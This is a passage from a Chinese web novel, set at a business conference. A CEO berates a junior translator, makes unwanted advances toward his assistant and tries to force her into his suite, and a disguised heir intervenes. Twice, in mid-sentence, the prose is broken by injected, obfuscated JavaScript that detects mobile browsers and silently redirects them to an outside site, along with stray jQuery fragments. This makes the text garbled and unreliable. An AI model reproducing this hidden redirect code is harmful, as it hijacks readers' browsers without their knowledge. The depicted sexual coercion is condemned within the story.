“你不是林大英语系的高材生吗?毕业证是买来吧!看看你翻译的玩意儿,好意思拿给客户吗?”
Abby瑟缩地站在一旁,脸色惨白,眼中透着惶恐:“我翻译前特意跟Linda姐确认过需求,她就是这样跟我说的啊......”
沈让的目光锐利如刀,训起人来毫不留情面:“问题出在自己身上,不反思自己的不足,反而只想着甩锅,我看你不仅能力有问题,连最基本的职业操守都没有!”
“对不起,沈总,都是我的错,您有什么意见,我马上改。”Abby意识到自己触了老板的霉头,连声音都颤抖起来。
“这么基础的工作都要我亲自指导,那公司招你有什么用?”
沈让越说越气,嗓门都拔高了几度:“杜美芳到底是干什么吃的?回头你们两个一起滚蛋!”
听到直属上司也要受牵连,小姑娘急得眼泪直在眼眶里打转:“沈总,再给我一次机会吧,我肯定能改好!”
“这份资料明早就要用,凭你那半吊子水平,再怎么改都是白费工夫。”沈让不耐烦地摆了摆手,语气中满是厌恶。
就在这时,门外传来一阵清脆的高跟鞋声,紧接着,秦雨寺推门而入。
她刚从会场赶回来,身上穿着笔挺的黑色套装,鼻梁上架着副无框眼镜,一头长发高高束起,看起来知性又干练。
她在走廊里就听见了沈让暴怒的声音,不禁眉头微蹙:“不是刚放松回来?怎么又这么大的火气?”
见到秦雨寺,沈让的脸色稍微缓和了些,但语气仍带着不满:“老杜这人办事真不靠谱,明天上午我要和澳大利亚的AuraLuxe谈合作,原料报价单这么重要的材料,他居然找了个新人翻译。真是成志不足,败事有余!”
“问题很多吗?拿给我看看。”
秦雨寺接过他递来的文件,快速扫了几眼,脸色也有些难看。
总经办的英语翻译Lily半个月前休产假去了,HR只能临时招聘新人接替她的岗位。Abby毕业于名校,专业成绩非常优异,虽然工作经验尚浅,但期望薪资也不高。杜美芳遵循“降本增效”的原则,当即拍板把人招了进来。
现在“本”是降下来了,“效”却不知道增到哪里去了。
这份材料涉及大量专业术语,对于初入职场的新人而言,确实难度不小。更何况翻译还得兼顾部分文秘职能,对原稿进行适当润色修改,这简直就是强人所难了。
秦雨寺无奈地叹了口气:“既然急着用,就交给我来改吧。”
沈让双臂环胸,眉头依然紧锁:“会场那边的工作不是还没结束?你哪有时间弄这些?”
“基本处理得差不多了,我让清源和市场部的同事们盯紧一点。”
听到这话,沈让的神色终于柔和了几分:“抱歉Daria,总是让你处理这些分外的事情,我真不敢想象,如果身边没有你该怎么办。”
“你还是先把这两天的演讲稿准备好吧。”秦雨寺垂下眼眸,语气平淡,似乎并不为所动。
一旁的Abby心情跌入谷底,眼里甚至泛起了泪光。她怎么也没想到,自己好不容易进了梦寐以求的合光科技,竟然这么快就要卷铺盖滚蛋了。
就在她心灰意冷之际,秦雨寺忽然转过身来,语气温和地询问:“你下午有空吗?能不能来我房间一起修改文件?其实没有那么难,只要熟悉一些行业常用术语就好,回头我把笔记分享给你。”
沈让微微眯起眼睛,脸上还残留着几分愠色。
秦雨寺轻叹一声,劝道:“世上能有几个真正的天才?大部分人初入职场都是小白一枚,需要慢慢积累经验才能独当一面。你作为过来人,是不是应该多给他们一点耐心?”
“秦小姐所言极是,我确实应该反思一下自己的初心了。”
沈让忽地笑起来:“你就是我精心浇灌出来的最美丽的花朵,我怎么会忘记这个过程中收获的幸福呢?”
秦雨寺的脸颊瞬间飞上了一抹红晕,很快就别过脸去,有些抵触道:“我听不懂你在说什么,工作去了。”
说完,便拉着Abby匆匆离开。
沈让目送她的背影消失在门口,嘴角勾起一个意味深长的弧度——这么美丽的果实,是不是到了该品尝的季节?
*
晚上八点,秦雨寺终于带着Abby将资料重新翻译了一遍。Abby收获颇丰,对这位“老师”的印象也发生了翻天覆地的转变。
之前她是沈让的小迷妹,一度将秦雨寺视为潜在的情敌。经历了今天的事情,她终于意识到雌竞可耻,像秦雨寺这种善良又有才华的优秀女性,才应该成为普通女孩的榜样。
“雨寺姐,真的太感谢了,我没想到你的英文这么好,以后再遇到问题,还能请教你吧?”
“专业的事情还是得交给专业的人做,我只是凭借以往的经验给你一些建议罢了。”
秦雨寺谦逊地笑了笑,随即叮嘱道:“你把改好的资料交给沈总吧,这次应该不会再有问题了。”
Abby一脸犹豫:“雨寺姐,沈总白天刚对我发过火,我实在不敢找他......要不还是你去吧。”
“可这份资料基本都是你修改的,我去送岂不是抢了你的功劳?”秦雨寺眉头微蹙。
“就算我去送,沈总也不会相信我,还不如姐姐帮我说几句好话有用呢。”
Abby吞吞吐吐道:“再说我跟沈总也不熟,这么晚去他房间,怪别扭的。”
看她这副青涩又忐忑的模样,秦雨寺隐隐有些心软,最终还是接过文件,妥协道:“好吧,我会向沈总说清楚的。”
Abby脸上瞬间绽开笑容:“真的吗?太谢谢你了!等回到林淮,我一定请你吃大餐!”
这份资料明早就要用,秦雨寺不敢耽搁,直接去了顶楼的总统套房。
*
沈让刚洗过澡,浴袍松松垮垮地披在身上,头发还带着湿意,正坐在吧台前浅酌着红酒。见秦雨寺进来,他脸上露出饶有兴味的表情。
秦雨寺将文件放在茶几上,说道:“资料我已经盯着Abby翻译好了。她的能力其实没什么问题,多做几次就有经验了。喏,你抓紧检查一下吧。”
沈让端着酒杯缓步走到茶几旁,却没有翻看文件,而是目光灼灼地盯着眼前的美丽女郎。
“你总是替别人着想,但别人可曾为你说过一句好话?”他忽然玩味地笑了起来。
秦雨寺神色一肃,冷静道:“我这么做是为了你和公司的利益。大家共事一场,自然要以做好工作为目标,勾心斗角没有任何意义。”
沈让笑着摇了摇头,这才拿起茶几上的文件,随手翻了几页,感叹道:“公司里还没有谁能做得像你一样好,之前那个Lily也不行。”
“为什么你总能做得这么好?”他放下文件,目光变得无比炽热。
“有时候真想把你永远留在身边,完完全全只属于我一个人,可又不忍心埋没你的才华,真是矛盾啊。”
尽管不是第一次听这种浑话了,秦雨寺仍然感觉浑身不自在:“你是不是喝多了,怎么开始胡言乱语了?”
沈让缓缓站起身,绕到她身后,幽幽叹息道:“现在我们的关系就像上下级一样,冷淡、疏离、没有半点感情。但我们本不该是这样的。”
“当初我们刚认识的时候,你和家里关系紧张,又不太会说中文,所有的烦恼只能向我倾诉。而我无论工作多忙,都会第一时间陪伴你、安慰你。这种感情和
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363436|183805||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
恋人有什么区别?”
“从什么时候开始,一切都变了呢?”
他轻轻挑起秦雨寺的一缕长发,凑近鼻尖,贪婪地嗅着发丝间若有若无的幽香:“雨寺,我一直留在原地,就像八年前初次相遇时那样,深深地迷恋着你。”
秦雨寺瞳孔一震。
“做我的女人吧。”沈让忽然展开双臂,将她紧紧拥入怀中,力道大得仿佛能把纤细的腰肢揉断。“放心把自己交给我,我会对你负责的。”
他俯下身,炙热的气息擦过她/敏/感/的耳垂,带来一阵强烈的酥麻。
秦雨寺只觉得头皮发紧,几乎是出于本能地用力推开了他,踉跄退后几步,脸上写满了难以掩饰的慌乱:“请你冷静一点!我一直很尊敬你,别做这样出格的事。”
“尊敬我?!”
沈让脸上的笑意瞬间散去,原本动情的眸子倏地冷了下来:“你是不是爱上别的男人了?”
“你胡说什么?我现在根本不想恋爱。”
秦雨寺理了把凌乱的发丝,稍稍喘息后,用轻柔却坚定的声音说:“沈总,你对我的好我永远不会忘记,但我并不适合做你的女人。”
沈让眯起眼睛,强硬地逼问:“哪里不适合?是因为你妈酗酒成性,冻死在了西伯利亚的农庄?是因为你爸当软饭男,娶了林淮最臭名昭著的泼妇?还是因为你继母一家欠了我八千万的债务?”
秦雨寺微微挑眉:“既然你记得这么清楚,想必每天都在心里权衡得失,那我还有什么好说的?”
沈让不怒反笑:“雨寺,人与人之间的利益关系是客观存在的,作为生意人,我当然要把每笔账算得清清楚楚。还有,成功男人不会在感情上谈什么适合不适合,爱情本就是强者才配享受的奢侈品。”
秦雨寺沉默许久,最终还是放弃了毫无意义的争辩,微微偏过头去,不再看他的眼睛。
沈让忽然话锋一转:“你听说了吗?润池集团的董事长陈正霖得了癌症,恐怕时日无多了。他的大儿子陈柯煜前不久出车祸成了植物人,现在就只剩个在国外不学无术的小儿子。真是山雨欲来,大厦将倾啊。”
秦雨寺冷笑:“这跟你有什么关系?”
沈让勾起嘴角,露出一抹得意的笑:“少了润池集团这个潜在对手,合光科技的发展可谓一马平川,等到明年成功上市,我的身家就要更上一层楼了。”
“到时候,我会正大光明地把你娶进门,让你成为林淮城最令人艳羡的豪门太太。”
昏黄的壁灯在墙面上投下长长的影子,沈让的脸庞在暧昧的光影下泛起异样的潮红。他借着酒力,再次张开手臂,企图将秦雨寺拽入怀中:“雨寺,我们迟早都要走到这一步,不如就在今晚......”
秦雨寺吓得惊呼一声,幸好她反应极快,腰身一扭,像游鱼似的从沈让臂弯中滑了出去,随即飞速冲出房门,只留下一道仓皇的背影。
这家酒店的顶层只有两间总统套房,配备了独立的直达电梯,几乎没有外人在此路过。
沈让彻底撕下了正人君子的伪装,像头被激怒的豹子,矫健地追了出去。
他身高腿长,三两步就缩短了距离,而后用铁钳般的大手一把攥住秦雨寺的手腕,力道之大,几乎要将她的骨头捏碎。
“你是不是觉得自己翅膀硬了,可以从我手里飞走了?”
沈让手臂猛地用力,试图强行将秦雨寺拖回房间。
千钧一发之际,对面套房的房门突然大开,一阵疾风卷起一沓文件,如雪花般狂舞而来。纸页的边缘锋利如刀,劈头盖脸打在沈让脸上,疼得他倒吸一口凉气。
他震惊地抬起头,透过漫天飞舞的纸片,看见套房门口立着一道熟悉的身影。
陈柯杨倚着门框,双臂环抱胸前,唇角挂着似笑非笑的弧度:“没想到沈总这么有童趣,深更半夜在走廊里玩老鹰捉小鸡,要不要带我一个?”
14. 帮个忙
看清陈柯杨后,沈让瞬间愣住,脸上的愠色变为了难以置信。
他揉了揉眼睛,确认自己没有眼花,连声音都有些紧了:“你......你怎么在这里?今天不是工作日吗?”
秦雨寺站在一旁,虽然没出声,但所有尴尬都写在了忽红忽白的脸皮上。
“我向领导请过假了啊,不过沈总您不知道也正常,毕竟我只是个小员工嘛。”
陈柯杨微微一笑,弯腰将被风卷散的纸页一张张拾起来,递到沈让眼前:“我在帮导师收集论文材料,很早之前就约了润池集团的市场总监胡君耀先生做专访,没想到对方临时放鸽子了。这不,蹲了好几个钟头都没见到人影。”
世上哪有这么凑巧的事?沈让半信半疑地打量这小子,看他穿着简单的白体恤,牛仔裤,帆布鞋,确实不像有什么花花心思的人。
麻烦的是,他看到了不该看的东西,要是回去添油加醋、乱嚼舌根,那可就尴尬了。
果然,陈柯杨满脸好奇地询问:“这么晚了,您和秦助理一个追一个逃,是在做什么呀?”
“让我猜猜,是不是秦助理最近工作压力太大,精神崩溃开启疾走,您要把她送去医院接受治疗?”
“还是说.....”
他眼珠子骨碌碌地转了两圈,随即夸张地吸了一口气:“该不会是秦助理窃取公司机密,被您捉了个现行,准备扭送派出所?”
“胡扯!”
沈让气急败坏地斥道:“你不去当编剧真是白瞎了。”
说完又板着脸解释:“我刚才忽然想起来,有件重要的事没跟Daria交代清楚,喊她急了些而已。”
陈柯杨将目光转向秦雨寺,眼里带着几分探究:“是这样吗?”
秦雨寺脸色变了又变,最终还是轻轻‘嗯’了一声。
陈柯杨马上竖起大拇指:“不愧是沈总和秦助理,工作如此认真负责,我要向您两位学习了。”
沈让没好气地哼了一声。
“嘿嘿,可能是我最近刑侦剧看多了,满脑子都是乱七八糟的情节,实在抱歉,两位请便。”
说着,他退后一步,转身就要回房间。
“等一下!”秦雨寺突然出声,语调里带着一丝慌乱。
她一紧张,普通话就容易跑调,听着怪好笑的:“会场那边人手有点紧张,既然你人都到琼海了,明天就过去帮帮忙吧。”
陈柯杨故作为难:“这恐怕......”
秦雨寺根本不给他拒绝的机会,直接下了决定:“咱们下楼细说吧,我要跟你介绍一下活动流程。”
说完,她无视沈让想要刀人的目光,径自抓住陈柯杨的手腕,将他带进了旁边的电梯。
总统套房的直达电梯宽敞得像个小型会客厅,落地玻璃窗外,霓虹灯光在夜色中流转闪烁,像无声的水流,将两人包裹在一片诡异的静谧之中。
僵持了半天,秦雨寺终于憋出一个话头:“你住在几楼?”
陈柯杨反应极快:“大姐,我怎么可能住得起宝雅?我住外面50块钱一个床位的青旅!”
“哦——身份证带了吗?我帮你开间房,咱们明天一早就得赶到会场,怕你赶不及。”
“不是!等等!姐姐,这事儿你可能还没理顺。我现在请假了,为公司鞍前马后也拿不到半毛工资,而且胡总的专访还没搞定,导师随时可能飞过来把我刀了。”
秦雨寺淡淡地回:“胡君耀有时间接待你吗?你来得不是时候。”
接着,她开出条件:“我跟润池集团的胡总勉强能说上几句话,回去后可以请他另外安排时间接受你的采访。”
“哟,是吗?”
陈柯杨忍不住暗笑,没想到胡君耀那个榆木疙瘩居然跟圈子里的一枝花有交情,真是人不可貌相啊。
话到这份上,他也不好再推辞,索性顺着台阶下:“你竟然认识胡总这种大人物,太厉害了吧!要是能搞定这次专访,我......我一辈子都忘不了你的恩情。”
秦雨寺点了点头,算是成交。
两人来到酒店大堂,秦雨寺向他伸出手:“身份证给我,我去帮你办入住手续。”
陈柯杨眼珠子一转,随即拖长了音调:“谁会随身带着身份证啊?”
实际上,他早就在顶楼开了间总统套房,要是再拿自己的身份信息登记入住,不就彻底露馅了?这次在合光科技的卧底计划任重道远,他可不能平白冒这个险。
想到这儿,他干脆双手一摊,摆明难处:“再说了,我也没提出差申请,房费都报销不了。”
秦雨寺在原地沉默了足足五秒,额头上每一条拢起的川字纹似乎都在诉说她的纠结。
最终她想开了,做人嘛,还是要大气一点:“既然请你帮忙,怎么好意思让你住青旅?这几天的房费算我的,你别有负担。”
“对了,你住的应该不远吧,我陪你一起去取证件和行李。”
陈柯杨心里忽然冒出一个奇怪的念头:秦雨寺该不会是爱上他了,所以每时每刻都想黏在一块?哇靠,就算他年轻帅气、魅力四射,洋妞也不能这么open吧,你丫好歹是个领导呢。
想想而已,当然是不可能的。
短短几分钟内,秦雨寺的目光已经朝电梯间瞥了十几次,眼中毫无情动之色,反而隐隐透出一丝......怯意?
她该不会是怕沈让找过来吧?沈让还能非礼她不成?她不是沈让的情妇吗?
一连串的问号之后,莫名的正义感占据了理智的高地。
情妇怎么了?情妇也有人权!一件事哪怕做了一万次,只要有一次不愿意,也有权利勇敢地说滚犊子。
内心妥协后,他先找了个借口脱身:“那家青旅又脏又乱,一屋住好几个抠脚大汉,你这样的都市丽人还是别跟过去了,我差不多半个小时就能回来。”
秦雨寺闻言,又不安地朝电梯口看了一眼:“可是......”
她那双素来平静的眸子里,此刻竟然泛起了微妙的波澜。
宝雅酒店主要接待高端商务人士,虽然现在时间不早了,但大堂里依然人来人往,不少刚下车的客人还在办理入住。众目睽睽之下,但凡精神正常的人,都不会做什么出格的事儿。
陈柯杨提了个建议:“餐厅这会儿还没关门,你先进去找个位置坐,我很快就回来。”
他顿了顿,又道:“住店的钱你直接转我微信吧,待会儿我自己去办手续,免得人家误会咱俩......有啥特殊关系呢。”
秦雨寺对此没什么异议。很快,手机上叮咚一声,3000块到账。
3000块钱啊——陈柯杨虽然没住过这么低价位的房间,但应该勉强能凑合吧。
秦雨寺随后补了一句:“1208号房,先开三天,剩下的你钱自己留着。”
“......”
*
琼海市虽然地处热带,一年四季都是夏天,但今晚刮了不小的海风,单穿一件T恤有点凉飕飕。
住青旅当然是随口胡诌的。
走出酒店,陈柯杨直奔马路对面的星巴克,掏出手机给Dylan打电话:“你找个塑料袋,把我的随身用品装起来,送到平阳街路口的咖啡店。对了,记得把带logo的包装都拆掉,越朴素越好。”
交代完毕,他果断挂断电话,将对方满腹的疑问全堵在了听筒里。
为了避免露馅,他又给市场总监胡君耀打了通电话:“胡总啊,有件事要麻烦你一下,今晚搬到市中心的宝雅酒店住吧,总统套房已经给您开好了。”
胡君耀顿时满头雾水,反应过来后差点骂人了。
他就住在距离主会场300米的商务酒店,明天一早还得开会呢,干嘛非要跑到40公里外的市中心过夜?脑袋被驴踢了吗?
“挺急的,你马上打车过来,之后再解释。”
解释是不可能解释的,谁让我是老板呢。陈柯
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363437|183805||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
杨挂断电话,本想给秦雨寺发条消息确认平安,又觉得自己没有立场表现得太紧张——毕竟人家也没说自己有危险啊。
伟大的先锋企业家沈总,吾等的衣食父母,怎么可能是个危险呢?
Dylan这小子虽然说话啰嗦,办事倒挺利索,不出十五分钟就提着个超市购物袋冲了进来,气都没喘匀就开始抱怨:“我的祖宗,这又是哪一出啊?”
陈柯杨没理他,翻开袋子一件一件检查物品上的logo。
Dylan恨铁不成钢:“我说,你怎么休假了还在玩扮穷人的游戏?真这么上瘾的话,不如把卡里的钱全都转给我,既然要刺激就贯彻到底喽。”
“得得得!”
陈柯杨赶紧打断他:“今晚我不住那间套房了,一会儿胡君耀过来住,你随便搪塞一下。哦对,明天尽早把他送回去,别耽误开会。”
“......”
“我先走了,拜拜~”
甩下风中凌乱的下属,陈柯杨独自回到酒店大堂,在秦雨寺的房间对面开了个标间。
看见他回来,秦雨寺明显松了口气,但目光落到他手里的购物袋上时,又微微怔了一下。
陈柯杨不敢坦白自己的老花皮箱太扎眼,只能随口胡诌:“我东西少,直接塞同学的行李箱里了,现在突然拆团,只能随便找个袋子装了。”
秦雨寺微微垂下眼帘,似乎也有点不好意思:“真是麻烦你了。”
呵呵,你自己有数就好。
陈柯杨心里这样想着,嘴上却大度得像个圣人:“没事没事,为公司效劳是我的荣幸。”
确认房卡无误后,两人一起乘电梯上了12楼。
合光科技本次参会的员工大部分都被安排在会场附近的商务酒店。秦雨寺因为要陪沈让,不得不留在市中心的宝雅酒店,开了间中等价位的标间。
陈柯杨的房间就在她对面,一模一样的格局。
分别之前,秦雨寺特意叮嘱:“你的手机不要调静音。”
陈柯杨马上表露不满:“那怎么行?我神经衰弱,手机震一下整个晚上都睡不好。”
秦雨寺眸子微微一闪,随即宽慰他:“其实大概率不会有什么事儿,以防万一,说不定临时有工作需要安排。”
陈柯杨低头看了眼腕表,心里啧啧嫌弃:除了工作就找不到别的借口吗?这特么都十点半了,你是什么周扒皮啊?
周扒皮小姐自知理亏,匆匆结束了话题:“总之,有事再联系吧。”
*
宝雅酒店的行政商务标间,面积在三十五平左右。进门就是一扇大窗、一套桌椅、一台电视、两张单人床,没有独立的客厅、餐厅和衣帽间,对于普通商务人士来说算是不错的选择,但陈柯杨可是上市集团的公子哥,哪里受过这等委屈。
他欲哭无泪地呆望了一会儿天花板,突然从床上弹坐起来,想向秦雨寺控诉心中的不平。
拿起手机,敲敲打打,删删改改半天,最终发出去一条:“谢谢你的款待,我从来没住过这么好的房间,感觉人都上天堂了。(害羞)”
俗话说,小不忍则乱大谋。委屈都受了,人设一定要立住。
等了好久,没有收到秦雨寺的回信。
他百无聊赖地看了会儿电视,忽然听见有人轻轻敲门。
开门一看,秦雨寺站在外面,手里提着两个塑料袋。
来者是客,陈柯杨基本的礼貌还是有的,连忙请她进来坐,而她却摇了摇头:“不知道你吃过晚饭没有,刚才下楼打包了一点吃的。”
陈柯杨感觉有点意外,随即捧场道:“哇,谢谢你,正好肚子叫了。”
接过塑料袋一看,是一份炒饭和一袋橘子。
可能是觉得餐食太简单,秦雨寺有些不好意思地解释:“楼下的餐厅快打烊了,也不知道你爱吃什么,就随便买了点。”
陈柯杨很给面子地笑了两声:“没事,我啥都不挑,有的吃就行。”